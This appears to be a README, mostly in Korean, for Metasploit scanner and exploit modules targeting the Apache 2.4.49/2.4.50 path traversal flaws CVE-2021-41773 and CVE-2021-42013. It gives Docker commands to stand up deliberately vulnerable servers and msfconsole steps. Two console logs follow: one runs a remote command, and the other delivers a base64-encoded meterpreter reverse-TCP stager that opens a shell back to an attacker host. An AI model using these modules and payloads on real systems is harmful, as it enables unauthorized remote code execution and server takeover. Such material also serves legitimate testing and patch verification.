zeop-cybersec/apache_normalize_pathCVE-2021-41773 및 CVE-2021-42013 (Apache 2.4.49/2.4.50의 Path Traversal)을 위한 Metasploit-Framework 모듈 (스캐너 및 익스플로잇)
10월 5일, Apache HTTP Server 프로젝트는 CVE-2021-41773을 패치했습니다. 이는 가장 널리 사용되는 웹 서버 중 하나인 Unix 및 Windows용 오픈소스 웹 서버인 Apache HTTP Server의 경로 탐색 및 파일 노출 취약점입니다. 보안 권고에 따르면, CVE-2021-41773은 제로데이로 실제 환경에서 악용되었습니다. 이 취약점은 Ash Daulton과 cPanel 보안 팀에 의해 9월 29일 Apache HTTP Server 프로젝트에 공개되었습니다. 그러나 권고는 CVE-2021-41773의 악용이 언제 탐지되었는지 명시하지 않지만, 악용이 패치의 신속한 출시를 촉진했다고 추정됩니다.
See: https://fr.tenable.com/blog/cve-2021-41773-path-traversal-zero-day-in-apache-http-server-exploited
이 취약점은 Apache 2.4.50 수정(CVE-2021-42013)에서 재도입되었습니다.
Apache HTTP Server 2.4.50에서 CVE-2021-41773에 대한 수정이 불충분한 것으로 밝혀졌습니다. 공격자는 경로 탐색 공격을 사용하여 Alias와 같은 지시어로 구성된 디렉토리 외부의 파일에 URL을 매핑할 수 있습니다. 이러한 디렉토리 외부의 파일이 일반적인 기본 구성인 "require all denied"로 보호되지 않으면 이러한 요청이 성공할 수 있습니다. 또한 이러한 별칭 경로에 CGI 스크립트가 활성화된 경우 원격 코드 실행이 가능할 수 있습니다. 이 문제는 Apache 2.4.49 및 Apache 2.4.50에만 영향을 미치며 이전 버전은 영향을 받지 않습니다.
docker run -dit --name CVE-2021-41773 -p 8080:80 -v /opt/apache2.4.49:/usr/local/apache2/htdocs httpd:2.4.49
docker exec -it CVE-2021-41773 sed -i "0,/denied/s/AllowOverride none/# AllowOverride None/" conf/httpd.conf
docker exec -it CVE-2021-41773 sed -i "0,/denied/s/denied/granted/" conf/httpd.conf
docker stop CVE-2021-41773
docker start CVE-2021-41773
--또는--
docker run -dit --name CVE-2021-42013 -p 8080:80 -v /opt/apache2.4.50:/usr/local/apache2/htdocs httpd:2.4.50
docker exec -it CVE-2021-42013 sed -i "0,/denied/s/AllowOverride none/# AllowOverride None/" conf/httpd.conf
docker exec -it CVE-2021-42013 sed -i "0,/denied/s/denied/granted/" conf/httpd.conf
docker stop CVE-2021-42013
docker start CVE-2021-42013
docker run -dit --name CVE-2021-41773 -p 8080:80 -v /opt/apache2.4.49:/usr/local/apache2/htdocs httpd:2.4.49
docker exec -it CVE-2021-41773 sed -i "0,/denied/s/AllowOverride none/# AllowOverride None/" conf/httpd.conf
docker exec -it CVE-2021-41773 sed -i "0,/denied/s/denied/granted/" conf/httpd.conf
docker exec -it CVE-2021-41773 sed -i -E "s|all denied|all granted|g; s|#(.* cgid_.*)|\1|g" conf/httpd.conf
docker stop CVE-2021-41773
docker start CVE-2021-41773
--또는--
docker run -dit --name CVE-2021-42013 -p 8080:80 -v /opt/apache2.4.50:/usr/local/apache2/htdocs httpd:2.4.50
docker exec -it CVE-2021-42013 sed -i "0,/denied/s/AllowOverride none/# AllowOverride None/" conf/httpd.conf
docker exec -it CVE-2021-42013 sed -i "0,/denied/s/denied/granted/" conf/httpd.conf
docker exec -it CVE-2021-42013 sed -i -E "s|all denied|all granted|g; s|#(.* cgid_.*)|\1|g" conf/httpd.conf
docker stop CVE-2021-42013
docker start CVE-2021-42013
이 기능이 작동하는지 확인하기 위해 필요한 단계를 나열합니다.
스캐너 모듈 사용:
msfconsole을 시작합니다.use auxiliary/scanner/http/apache_normalize_pathset RHOSTS [IP]set RPORT 8080set SSL falserun익스플로잇 모듈 사용:
msfconsole을 시작합니다.use exploit/multi/http/apache_normalize_path_rceset RHOSTS [IP]set RPORT 8080set SSL falseset LHOST [IP]set VERBOSE truerunmsf6 exploit(multi/http/apache_normalize_path_rce) > use exploit/multi/http/apache_normalize_path_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_normalize_path_rce) > set target 1
target => 1
msf6 exploit(multi/http/apache_normalize_path_rce) > setg rhosts 172.20.4.11
rhosts => 172.20.4.11
msf6 exploit(multi/http/apache_normalize_path_rce) > setg rport 8080
rport => 8080
msf6 exploit(multi/http/apache_normalize_path_rce) > setg ssl false
ssl => false
msf6 exploit(multi/http/apache_normalize_path_rce) > setg verbose true
verbose => true
msf6 exploit(multi/http/apache_normalize_path_rce) > set cmd uname -a
cmd => uname -a
msf6 exploit(multi/http/apache_normalize_path_rce) > run
[+] uname -a
[*] Using auxiliary/scanner/http/apache_normalize_path as check
[+] http://172.20.4.11:8080 - The target is vulnerable to CVE-2021-42013 (mod_cgi enabled).
[*] Scanned 1 of 1 hosts (100% complete)
[*] http://172.20.4.11:8080 - Attempt to exploit for CVE-2021-42013
[*] http://172.20.4.11:8080 - Generated payload: uname -a
[!] http://172.20.4.11:8080 - Dumping command output in response
Linux 184ef33f9859 5.14.0-1-amd64 #1 SMP Debian 5.14.6-3 (2021-09-28) x86_64 GNU/Linux
msf6 exploit(multi/http/apache_normalize_path_rce) >
msf6 exploit(multi/http/apache_normalize_path_rce) > use exploit/multi/http/apache_normalize_path_rce
[*] Using configured payload linux/x64/meterpreter/reverse_tcp
msf6 exploit(multi/http/apache_normalize_path_rce) > setg RHOSTS 172.20.4.11
RHOSTS => 172.20.4.11
msf6 exploit(multi/http/apache_normalize_path_rce) > setg rport 8080
rport => 8080
msf6 exploit(multi/http/apache_normalize_path_rce) > setg ssl false
ssl => false
msf6 exploit(multi/http/apache_normalize_path_rce) > setg verbose true
verbose => true
msf6 exploit(multi/http/apache_normalize_path_rce) > set lhost 172.20.7.36
lhost => 172.20.7.36
msf6 exploit(multi/http/apache_normalize_path_rce) > run
[*] Started reverse TCP handler on 172.20.7.36:4444
[*] Using auxiliary/scanner/http/apache_normalize_path as check
[+] http://172.20.4.11:8080 - The target is vulnerable to CVE-2021-42013 (mod_cgi enabled).
[*] Scanned 1 of 1 hosts (100% complete)
[*] http://172.20.4.11:8080 - Attempt to exploit for CVE-2021-42013
[*] http://172.20.4.11:8080 - Sending linux/x64/meterpreter/reverse_tcp command payload
[*] http://172.20.4.11:8080 - Generated command payload: echo f0VMRgIBAQAAAAAAAAAAAAIAPgABAAAAeABAAAAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEAAOAABAAAAAAAAAAEAAAAHAAAAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAAAA+gAAAAAAAAB8AQAAAAAAAAAQAAAAAAAASDH/aglYmbYQSInWTTHJaiJBWrIHDwVIhcB4UWoKQVlQailYmWoCX2oBXg8FSIXAeDtIl0i5AgARXKwUByRRSInmahBaaipYDwVZSIXAeSVJ/8l0GFdqI1hqAGoFSInnSDH2DwVZWV9IhcB5x2o8WGoBXw8FXmp+Wg8FSIXAeO3/5g== | base64 -d > /tmp/PJaT; chmod +x /tmp/PJaT; /tmp/PJaT; rm -f /tmp/PJaT
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3012548 bytes) to 172.20.4.11
[*] Meterpreter session 1 opened (172.20.7.36:4444 -> 172.20.4.11:48540) at 2021-10-08 13:58:13 +0400
[!] This exploit may require manual cleanup of '/tmp/PJaT' on the target
meterpreter >